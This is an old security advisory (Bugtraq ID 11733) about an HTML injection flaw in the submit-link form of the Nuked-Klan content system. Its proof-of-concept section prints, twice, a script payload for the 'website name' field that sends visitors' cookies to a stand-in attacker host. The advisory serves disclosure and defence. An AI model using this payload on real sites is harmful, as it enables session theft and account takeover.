NuKed-Klan Submit Link Function HTML Injection Vulnerability
BID:11733
Info
NuKed-Klan Submit Link Function HTML Injection Vulnerability
| Bugtraq ID: | 11733 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 23 2004 12:00AM |
| Updated: | Nov 23 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to XioNoX <[email protected]>. |
| Vulnerable: |
Nuked-Klan Nuked-Klan 1.5 SP2 Nuked-Klan Nuked-Klan 1.5 Nuked-Klan Nuked-Klan 1.4 Nuked-Klan Nuked-Klan 1.3 beta Nuked-Klan Nuked-Klan 1.3 Nuked-Klan Nuked-Klan 1.2 beta Nuked-Klan Nuked-Klan 1.2 |
| Not Vulnerable: | |
Discussion
NuKed-Klan Submit Link Function HTML Injection Vulnerability
NuKed-Klan 'submit URI link' function is reported prone to a HTML injection vulnerability. It is reported that the issue exists due to a lack of sufficient input validation performed on the 'website name' input field of the NuKed-Klan submit URI link form.
Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may also be possible to take arbitrary actions as the victim user.
NuKed-Klan 'submit URI link' function is reported prone to a HTML injection vulnerability. It is reported that the issue exists due to a lack of sufficient input validation performed on the 'website name' input field of the NuKed-Klan submit URI link form.
Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may also be possible to take arbitrary actions as the victim user.
Exploit / POC
NuKed-Klan Submit Link Function HTML Injection Vulnerability
The following example is available:
http://www.example.com/index.php?file=Suggest&module=Links
[Name of website] [a lot of spaces]
\'/>\"/><script></script><script>document.location=\'http://www.hacker.com/cookie.php?cookie=\'
+window.document.cookie;</script>
The following example is available:
http://www.example.com/index.php?file=Suggest&module=Links
[Name of website] [a lot of spaces]
\'/>\"/><script></script><script>document.location=\'http://www.hacker.com/cookie.php?cookie=\'
+window.document.cookie;</script>
Solution / Fix
NuKed-Klan Submit Link Function HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
NuKed-Klan Submit Link Function HTML Injection Vulnerability
References:
References:
- Vendor Homepage (Nuked-Klan)